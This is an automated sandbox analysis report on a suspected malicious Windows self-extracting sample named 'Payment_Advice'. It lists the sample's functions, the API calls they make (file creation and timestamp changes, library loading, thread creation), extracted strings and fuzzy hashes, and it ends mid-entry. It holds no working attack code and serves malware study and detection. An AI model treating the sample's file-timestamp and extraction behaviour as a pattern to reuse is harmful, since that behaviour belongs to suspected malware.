Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: @UJu$EDIT
API String ID: 4243998846-1013725496
Opcode ID: a3f1759e1fbc444e5adb83d8887333fb1f9b8e59e78cdad10ff3df5309d58d2e
Instruction ID: 2a5d18f57887080f8536b571c0d8861bcb3445520206006c2fbeff23260ef8f8
Opcode Fuzzy Hash: a3f1759e1fbc444e5adb83d8887333fb1f9b8e59e78cdad10ff3df5309d58d2e
Instruction Fuzzy Hash: 3DF0823260122976EB2156289C09FDB7AACAB46B50F484051FA05A31C0D7A4EA8AC5BA

Uniqueness

Uniqueness Score: -1.00%

Function 005098E0 Relevance: 7.6, APIs: 5, Instructions: 111
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,08000000,00000000,?,00000000,?,?,00507760,?,00000005,?,00000011), ref: 0050995F
GetLastError.KERNEL32(?,?,00507760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 0050996C
CreateFileW.KERNEL32(00000000,?,?,00000000,00000003,08000000,00000000,?,?,00000800,?,?,00507760,?,00000005,?), ref: 005099A2
GetLastError.KERNEL32(?,?,00507760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 005099AA
SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000,?,00507760,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 005099F9

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: e382105cb8eec01cce321dfb928bc960f4142e051a2319169613a96743db2bfa
Instruction ID: 8d6866a80ed5c4ab6d05c6541c70d317b04661c9f75ab9b9e3b9b9061e6e6ace
Opcode Fuzzy Hash: e382105cb8eec01cce321dfb928bc960f4142e051a2319169613a96743db2bfa
Instruction Fuzzy Hash: 2D3122305447466FE7309F24CC4ABEEBF94BB44320F200F19F9A1962D6D3B4A988CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0051B568 Relevance: 7.5, APIs: 5, Instructions: 38
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0051B579
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0051B58A
IsDialogMessageW.USER32(00010440,?), ref: 0051B59E
TranslateMessage.USER32(?), ref: 0051B5AC
DispatchMessageW.USER32(?), ref: 0051B5B6

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: 8de8069214067252b8cdad253a4f1fd7dd5ebb82826f08743f6482357a72e05f
Instruction ID: db7d67195ff628de133829eca25edac1348abb336fdca4bb9896c05f9f5931fb
Opcode Fuzzy Hash: 8de8069214067252b8cdad253a4f1fd7dd5ebb82826f08743f6482357a72e05f
Instruction Fuzzy Hash: 3FF0A975A0111AAADB209BA59C4CDDB7FBDEE162A57004415F505D3010EB74D64DDBB0

Uniqueness

Uniqueness Score: -1.00%

Function 0051AC16 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0051081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00510836
Part of subcall function 0051081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0050F2D8,Crypt32.dll,00000000,0050F35C,?,?,0050F33E,?,?,?), ref: 00510858

OleInitialize.OLE32(00000000), ref: 0051AC2F
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 0051AC66
SHGetMalloc.SHELL32(00548438), ref: 0051AC70

Strings

riched20.dll, xrefs: 0051AC1E

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll
API String ID: 3498096277-3360196438
Opcode ID: 98898e59c5351729ea00b7146d6ff983486b120a2725fb1a1ca7ec3998e311da
Instruction ID: e3457b6c18ed6ba91c5dda5f15ea53215c9e2722565884eaf74e1856aae950f8
Opcode Fuzzy Hash: 98898e59c5351729ea00b7146d6ff983486b120a2725fb1a1ca7ec3998e311da
Instruction Fuzzy Hash: B6F0F9B190020AABDB10AFA9D8499EFFFFCFF94714F00415AE815A2241DBB456499FA1

Uniqueness

Uniqueness Score: -1.00%

Function 0051DBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 31
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 0051DBF4
SetEnvironmentVariableW.KERNELBASE(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 0051DC30

Strings

sfxcmd, xrefs: 0051DBEF
sfxpar, xrefs: 0051DC2B

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: 36fcd9d5ca6529c1f9450421e7d2923f9603aca158f2a551a28c92c674a50b35
Instruction ID: 299f574fcaddece70c6bde109a8bb66a7c7706b7ace53f993642fd19e762307e
Opcode Fuzzy Hash: 36fcd9d5ca6529c1f9450421e7d2923f9603aca158f2a551a28c92c674a50b35
Instruction Fuzzy Hash: 5AF0A7B2404225A6EB202B95CC0ABFA3F68BF14785B040811BD8596151E7F48DC0E6F0

Uniqueness

Uniqueness Score: -1.00%

Function 00509785 Relevance: 6.1, APIs: 4, Instructions: 56
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00509795
ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 005097AD
GetLastError.KERNEL32 ref: 005097DF
GetLastError.KERNEL32 ref: 005097FE

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 8d03bb2972ab1c52779113a101fc71d4933626f0de4edd9e37e742c14ed8631e
Instruction ID: 2dd6552e469d9fce0b756f1e0faf9fb87e5274a980f0c4ebfb64ea4ea47e883e
Opcode Fuzzy Hash: 8d03bb2972ab1c52779113a101fc71d4933626f0de4edd9e37e742c14ed8631e
Instruction Fuzzy Hash: 8A11CE31910604EBCF209F24C808A6E3FA8FF92320F10CA29F456852DAD7749E44EB61

Uniqueness

Uniqueness Score: -1.00%

Function 0052AD34 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,00000800,005240EF,00000000,00000000,?,0052ACDB,005240EF,00000000,00000000,00000000,?,0052AED8,00000006,FlsSetValue), ref: 0052AD66
GetLastError.KERNEL32(?,0052ACDB,005240EF,00000000,00000000,00000000,?,0052AED8,00000006,FlsSetValue,00537970,FlsSetValue,00000000,00000364,?,005298B7), ref: 0052AD72
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0052ACDB,005240EF,00000000,00000000,00000000,?,0052AED8,00000006,FlsSetValue,00537970,FlsSetValue,00000000), ref: 0052AD80

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 44c556b7d9a3a69ff21af1ced9b0f46a7e8ebc39eb805fb586268938b0e73993
Instruction ID: f0a089dd57d75e07130b71a99f2dfe26fbf73e88ae3a3c325d337ba4f4980bf0
Opcode Fuzzy Hash: 44c556b7d9a3a69ff21af1ced9b0f46a7e8ebc39eb805fb586268938b0e73993
Instruction Fuzzy Hash: 1201F736601236AFC7314A68BC48A577F98FF167A37150A20FD07D76D0D720D80596E1

Uniqueness

Uniqueness Score: -1.00%

Function 0052BA27 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 005297E5: GetLastError.KERNEL32(?,00541098,00524674,00541098,?,?,005240EF,?,?,00541098), ref: 005297E9
Part of subcall function 005297E5: _free.LIBCMT ref: 0052981C
Part of subcall function 005297E5: SetLastError.KERNEL32(00000000,?,00541098), ref: 0052985D
Part of subcall function 005297E5: _abort.LIBCMT ref: 00529863

Part of subcall function 0052BB4E: _abort.LIBCMT ref: 0052BB80
Part of subcall function 0052BB4E: _free.LIBCMT ref: 0052BBB4

Part of subcall function 0052B7BB: GetOEMCP.KERNEL32(00000000,?,?,0052BA44,?), ref: 0052B7E6

_free.LIBCMT ref: 0052BA9F
_free.LIBCMT ref: 0052BAD5

Strings

pS, xrefs: 0052BAC9

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID: pS
API String ID: 2991157371-3706138410
Opcode ID: 18ec6816bd6d707a3f86ab9840b9ced1339fdb907eef79f7e756830d4357f353
Instruction ID: 3470878199fa8d49dc93315f44e85c33216dd4990e270486b84ea700763f9b82
Opcode Fuzzy Hash: 18ec6816bd6d707a3f86ab9840b9ced1339fdb907eef79f7e756830d4357f353
Instruction Fuzzy Hash: 3431DC3190422AAFEB10DFA8E545B6D7FF5FF82320F254099E5049B2E2EB315D44DB50

Uniqueness

Uniqueness Score: -1.00%

Function 0051101F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00010000,Function_00011160,?,00000000,00000000), ref: 00511043
SetThreadPriority.KERNEL32(?,00000000), ref: 0051108A

Part of subcall function 00506C36: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00506C54

Part of subcall function 00506DCB: _wcschr.LIBVCRUNTIME ref: 00506E0A
Part of subcall function 00506DCB: _wcschr.LIBVCRUNTIME ref: 00506E19

Strings

CreateThread failed, xrefs: 0051104F

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: Thread_wcschr$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2706921342-3849766595
Opcode ID: e7ecc5256806f34572f86e22fba7c0f1b4bed068cfa534488840166c0ca6065f
Instruction ID: 55151eee4ec78f69afba6a1439d0ff22c5ca0819f52b0057a8650d29f130c066
Opcode Fuzzy Hash: e7ecc5256806f34572f86e22fba7c0f1b4bed068cfa534488840166c0ca6065f
Instruction Fuzzy Hash: 7A01DB7534470A6BE3346E649C59BFA7B98FB54755F10002EF687562C0CAA16CC48628

Uniqueness

Uniqueness Score: -1.00%

Function 0051AE2F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 0050C29A: _wcslen.LIBCMT ref: 0050C2A2

Part of subcall function 00511FDD: _wcslen.LIBCMT ref: 00511FE5
Part of subcall function 00511FDD: _wcslen.LIBCMT ref: 00511FF6
Part of subcall function 00511FDD: _wcslen.LIBCMT ref: 00512006
Part of subcall function 00511FDD: _wcslen.LIBCMT ref: 00512014
Part of subcall function 00511FDD: CompareStringW.KERNEL32(00000400,00001001,?,?,?,?,00000000,00000000,?,0050B371,?,?,00000000,?,?,?), ref: 0051202F

Part of subcall function 0051AC04: SetCurrentDirectoryW.KERNELBASE(?,0051AE72,C:\Users\user\Desktop,00000000,0054946A,00000006), ref: 0051AC08

_wcslen.LIBCMT ref: 0051AE8B
SHFileOperationW.SHELL32(?,?,?,?,?,0054946A,00000006), ref: 0051AEC4

Strings

C:\Users\user\Desktop, xrefs: 0051AE68

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: _wcslen$CompareCurrentDirectoryFileOperationString
String ID: C:\Users\user\Desktop
API String ID: 1016385243-1876063424
Opcode ID: e809e96f972877259873e97d4b36cad31aa3c50650a58a455c4ef0f6c011ca6d
Instruction ID: d72a60fce1f1aebfef16545711c9048276a22e6d929038c29ba5cf0960bdcc5e
Opcode Fuzzy Hash: e809e96f972877259873e97d4b36cad31aa3c50650a58a455c4ef0f6c011ca6d
Instruction Fuzzy Hash: AC015E71D0025A65EF11ABA4DD0FEDF7AFCBF49304F000855F605E3191E6B89A888BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00528268 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 0052BF30: GetEnvironmentStringsW.KERNEL32 ref: 0052BF39
Part of subcall function 0052BF30: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0052BF5C
Part of subcall function 0052BF30: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0052BF82
Part of subcall function 0052BF30: _free.LIBCMT ref: 0052BF95
Part of subcall function 0052BF30: FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0052BFA4

_free.LIBCMT ref: 005282AE
_free.LIBCMT ref: 005282B5

Strings

0"V, xrefs: 0052829B

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: _free$ByteCharEnvironmentMultiStringsWide$Free
String ID: 0"V
API String ID: 400815659-4270886499
Opcode ID: 3b61820bcac1a81b2a39ebe205cbcc7a62c4ae3c7fd56dd961760861c8ac284c
Instruction ID: 2439f445824e121debe47690e4ed64e7ed3f84c968b69787b3aaa80eef66961f
Opcode Fuzzy Hash: 3b61820bcac1a81b2a39ebe205cbcc7a62c4ae3c7fd56dd961760861c8ac284c
Instruction Fuzzy Hash: 40E0ED2BA07D7381B26132BA3C5A63B0F407FD3338F650B16F9208B0D3CE50880604A2

Uniqueness

Uniqueness Score: -1.00%

Function 0051E532 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0051E51F

Part of subcall function 0051E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0051E8D0
Part of subcall function 0051E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0051E8E1

Strings

(Q, xrefs: 0051E519
2Q, xrefs: 0051E532

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: (Q$2Q
API String ID: 1269201914-2222477993
Opcode ID: 94ef2a993ca968d20879594b260607dc1c321ef17cc286987260f3a110e7f7ac
Instruction ID: 2e14ebd6528ae1b1c3203138273da0d29b9583e769c7527fc2dd575cd81343af
Opcode Fuzzy Hash: 94ef2a993ca968d20879594b260607dc1c321ef17cc286987260f3a110e7f7ac
Instruction Fuzzy Hash: A7B012D125D0017D3244520C1C0BD7F0E4DF4C1F20330442EFC04C1080F9400C860631

Uniqueness

Uniqueness Score: -1.00%

Function 00509F7A Relevance: 4.6, APIs: 3, Instructions: 111fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,?,?,?,?,0050D343,00000001,?,?,?,00000000,0051551D,?,?,?), ref: 00509F9E
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,00000000,0051551D,?,?,?,?,?,00514FC7,?), ref: 00509FE5
WriteFile.KERNELBASE(0000001D,?,?,?,00000000,?,00000001,?,?,?,?,0050D343,00000001,?,?), ref: 0050A011

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: cb0a63bc07fabc14a7bf8f1ae4688feab9b0276487da8da65ea7da7100a4ad0f
Instruction ID: 03cd581648e118d1b56308f5b4f41f44a70128559e500ae8440c8982f2723515
Opcode Fuzzy Hash: cb0a63bc07fabc14a7bf8f1ae4688feab9b0276487da8da65ea7da7100a4ad0f
Instruction Fuzzy Hash: 2631B37120830AAFDB15CF20D818BAE7BA5FF94715F04491DF941972D1C775AD48CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0050A2B2 Relevance: 4.6, APIs: 3, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 0050C27E: _wcslen.LIBCMT ref: 0050C284

CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,0050A175,?,00000001,00000000,?,?), ref: 0050A2D9
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,0050A175,?,00000001,00000000,?,?), ref: 0050A30C
GetLastError.KERNEL32(?,?,?,?,0050A175,?,00000001,00000000,?,?), ref: 0050A329

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: CreateDirectory$ErrorLast_wcslen
String ID:
API String ID: 2260680371-0
Opcode ID: d11cfe45c10aceea4750a19f31281bf71324109da77ccc347e593dd70cd789e9
Instruction ID: a45e043f46cfa57c8545eae41788a624d5584947be6527bb4ce91f0ce06c72a4
Opcode Fuzzy Hash: d11cfe45c10aceea4750a19f31281bf71324109da77ccc347e593dd70cd789e9
Instruction Fuzzy Hash: 7801B1396003116AEF21AB758C4EBED3E88BF0A780F044864F901E61C1E764DA8186B6

Uniqueness

Uniqueness Score: -1.00%

Function 0052B893 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 0052B8B8

Strings

, xrefs: 0052B8FD

Memory Dump Source

Source File: 00000000.00000002.1549101071.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1548984734.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549138883.0000000000533000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.000000000053E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000545000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549193714.0000000000562000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1549363309.0000000000563000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Payment_Advice.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: 9bf781c690b1ad97f8e678e984abec05bf8352f8678a4e2a3f1d026cb62abcba
Instruction ID: bfcc73052d75d3e0bde1c470f419936684784cfc9992316e4507c63fe3ac6eee
Opcode Fuzzy Hash: 9bf781c690b1ad97f8e678e984abec05bf8352f8678a4e2a3f1d026cb62abcba
Instruction Fuzzy Hash: 2B41FB7150426C9AEF218E149C84BF6BFB9FF56304F1408EDE59986182D3359A85DB60

Uniqueness

Uniqueness Score: -1.00%

Function 0052AF6C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

